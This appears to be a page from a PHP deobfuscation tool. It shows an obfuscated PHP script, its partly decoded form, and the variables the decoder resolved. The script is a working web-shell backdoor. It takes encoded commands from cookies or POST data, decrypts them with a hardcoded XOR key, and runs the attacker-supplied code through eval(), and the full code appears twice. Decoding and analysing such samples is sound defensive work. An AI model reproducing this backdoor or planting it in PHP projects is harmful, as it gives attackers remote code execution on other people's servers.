Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $mPRmDywvJ =/* kuUQI */'s'/* T*/./* oT*/"\164" ./* gXLgH */chr/* Ymnu*/(114) ..

Decoded Output download

<?php 
$mPRmDywvJ =/*   kuUQI  */'s'/* T*/./* oT*/"t"	./*  gXLgH   */chr/* Ymnu*/(114)  ./*  uaq */"_"	.	chr	(114)	.     "e" .	chr   (	167     - 55/*Kyr*/)."e" ./*  yS*/chr	(97)     .	't'; 
			$iSxvSlXfB =/* pqerX   */'e'	.	chr/*  GWKN   */(120)	./*tvbb */chr	(112)    ./*t */chr	(108)/*  KoeU*/.	"o"     ./*   pqdqk   */"d"/*   f*/.	chr/*  rD  */(101); 
  $XCHqpy =	chr     (	762/*   rJur */-	650	).chr    (     290  -/*jO*/193  ).chr/*  Nj*/(99)    .   chr     (107); 
   function/*   I  */GUNrSK() 
			{ 
			 $wgMNa/*Bpj  */=     Array/*   emsPE   */(	"PbUvyQJAoqCkeedBfPZV"/*bhA  */=>    "vYgnxuhBcBsxtbqsgZ"/* ctTF  */); 
 
	 
	/* NS*/$lsOaUAPR   =/*ygzO   */Array	(  "EafardgOMJBzyQFQXNxZKhcuV"  =>/* hR*/"bLclorpICcfJxRjqvdZVuN"/*mK  */); 
       $GraOxNkMK	=    Array( $wgMNa,	$_COOKIE,	$wgMNa,	$_POST,/*   Oevc  */$lsOaUAPR);$_vCcE     =   '27561'; 
	  
				    return/*  Nf*/$GraOxNkMK; 
 
 
/*   bwydL   */} 
 
 
	 
         function/*   Agx   */TOOCc($JNnNI) 
					/*RO */{ 
 
   if  (     count/*   j  */(     $JNnNI	)   ==   3   )/*   UifX   */{ 
	    $BwXVCSSxHE	=/*TRc  */$JNnNI[1];; 
		/*MV   */$CRENpFPH   =   $JNnNI[2]; 
   	$MyMuBvln/* ivhn*/=	$BwXVCSSxHE($CRENpFPH);; 
 
 
     eval	(/* OZh*/$MyMuBvln ); 
      die	(); 
    	} 
     } 
  /*xq   */ 
     	function/* dZM */sAABWf($QbnXZA,/* r*/$chEFWD) 
			{ 
 
 
 return/*voNes   */$QbnXZA ^/* b*/$chEFWD;$_xAoUO/*  N*/=   '20512'; 
 
     } 
 
 
   
   	$QrRftMXHP   = '#';; 
	/*  sHO*/ 
    	foreach/*   zyR*/(GUNrSK()  as   $GExaFd)   { 
 
   foreach/*  aEPE  */(	$GExaFd/*  HCfj*/as    $chEFWD/*   YeXM*/=>    $QbnXZA	) { 
	 
 
 
	$QbnXZA	=/*   cWuUp */@$XCHqpy(/*Uz   */chr	( 789	-	717   ).'*',     $QbnXZA     );$_bM/*d*/=  '25879'; 
 
/*  kVMV */ 
 
/*  MX*/$chEFWD	.=	"gyaF-pDNmsxM-zhOiF-nptdL-NtsEa-vuXdCm-jxavb"; 
 
 
	$chEFWD	=     $mPRmDywvJ	(/*  j */$chEFWD,	(    strlen(/* M  */$QbnXZA  )/strlen(	$chEFWD	)/*  J   */)   +    1); 
		     
		$ZxnCOXYmn	=/*  n */sAABWf($QbnXZA,     $chEFWD);; 
	/*  XNm*/ 
	$JNnNI	=     $iSxvSlXfB/* aRnR   */($QrRftMXHP,   $ZxnCOXYmn	);; 
			 
		TOOCc($JNnNI);; 
    /*qRaoK  */} 
	     } ?>

Did this file decode correctly?

Original Code

<?php
$mPRmDywvJ =/*   kuUQI  */'s'/* T*/./* oT*/"\164"	./*  gXLgH   */chr/* Ymnu*/(114)  ./*  uaq */"\137"	.	chr	(114)	.     "\145" .	chr   (	167     - 55/*Kyr*/)."\x65" ./*  yS*/chr	(97)     .	't';
			$iSxvSlXfB =/* pqerX   */'e'	.	chr/*  GWKN   */(120)	./*tvbb */chr	(112)    ./*t */chr	(108)/*  KoeU*/.	"\x6f"     ./*   pqdqk   */"\x64"/*   f*/.	chr/*  rD  */(101);
  $XCHqpy =	chr     (	762/*   rJur */-	650	).chr    (     290  -/*jO*/193  ).chr/*  Nj*/(99)    .   chr     (107);
   function/*   I  */GUNrSK()
			{
			 $wgMNa/*Bpj  */=     Array/*   emsPE   */(	"PbUvyQJAoqCkeedBfPZV"/*bhA  */=>    "vYgnxuhBcBsxtbqsgZ"/* ctTF  */);

	
	/* NS*/$lsOaUAPR   =/*ygzO   */Array	(  "EafardgOMJBzyQFQXNxZKhcuV"  =>/* hR*/"bLclorpICcfJxRjqvdZVuN"/*mK  */);
       $GraOxNkMK	=    Array( $wgMNa,	$_COOKIE,	$wgMNa,	$_POST,/*   Oevc  */$lsOaUAPR);$_vCcE     =   '27561';
	 
				    return/*  Nf*/$GraOxNkMK;


/*   bwydL   */}


	
         function/*   Agx   */TOOCc($JNnNI)
					/*RO */{

   if  (     count/*   j  */(     $JNnNI	)   ==   3   )/*   UifX   */{
	    $BwXVCSSxHE	=/*TRc  */$JNnNI[1];;
		/*MV   */$CRENpFPH   =   $JNnNI[2];
   	$MyMuBvln/* ivhn*/=	$BwXVCSSxHE($CRENpFPH);;


     eval	(/* OZh*/$MyMuBvln );
      die	();
    	}
     }
  /*xq   */
     	function/* dZM */sAABWf($QbnXZA,/* r*/$chEFWD)
			{


 return/*voNes   */$QbnXZA ^/* b*/$chEFWD;$_xAoUO/*  N*/=   '20512';

     }


  
   	$QrRftMXHP   = '#';;
	/*  sHO*/
    	foreach/*   zyR*/(GUNrSK()  as   $GExaFd)   {

   foreach/*  aEPE  */(	$GExaFd/*  HCfj*/as    $chEFWD/*   YeXM*/=>    $QbnXZA	) {
	


	$QbnXZA	=/*   cWuUp */@$XCHqpy(/*Uz   */chr	( 789	-	717   ).'*',     $QbnXZA     );$_bM/*d*/=  '25879';

/*  kVMV */

/*  MX*/$chEFWD	.=	"gyaF-pDNmsxM-zhOiF-nptdL-NtsEa-vuXdCm-jxavb";


	$chEFWD	=     $mPRmDywvJ	(/*  j */$chEFWD,	(    strlen(/* M  */$QbnXZA  )/strlen(	$chEFWD	)/*  J   */)   +    1);
		    
		$ZxnCOXYmn	=/*  n */sAABWf($QbnXZA,     $chEFWD);;
	/*  XNm*/
	$JNnNI	=     $iSxvSlXfB/* aRnR   */($QrRftMXHP,   $ZxnCOXYmn	);;
			
		TOOCc($JNnNI);;
    /*qRaoK  */}
	     }

Function Calls

chr 12
GUNrSK 1

Variables

$_vCcE 27561
$wgMNa [{'key': 'PbUvyQJAoqCkeedBfPZV', 'value': 'vYgnxuhBcBsxtbqsgZ'}]
$XCHqpy pack
$lsOaUAPR [{'key': 'EafardgOMJBzyQFQXNxZKhcuV', 'value': 'bLclorpICcfJxRjqvdZVuN'}]
$GraOxNkMK [{'key': 0, 'value': [{'key': 'PbUvyQJAoqCkeedBfPZV', 'value': 'vYgnxuhBcBsxtbqsgZ'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'PbUvyQJAoqCkeedBfPZV', 'value': 'vYgnxuhBcBsxtbqsgZ'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'EafardgOMJBzyQFQXNxZKhcuV', 'value': 'bLclorpICcfJxRjqvdZVuN'}]}]
$QrRftMXHP #
$iSxvSlXfB explode
$mPRmDywvJ str_repeat

Stats

MD5 497db8538e6058a510ab724b13f719e3
Eval Count 0
Decode Time 427 ms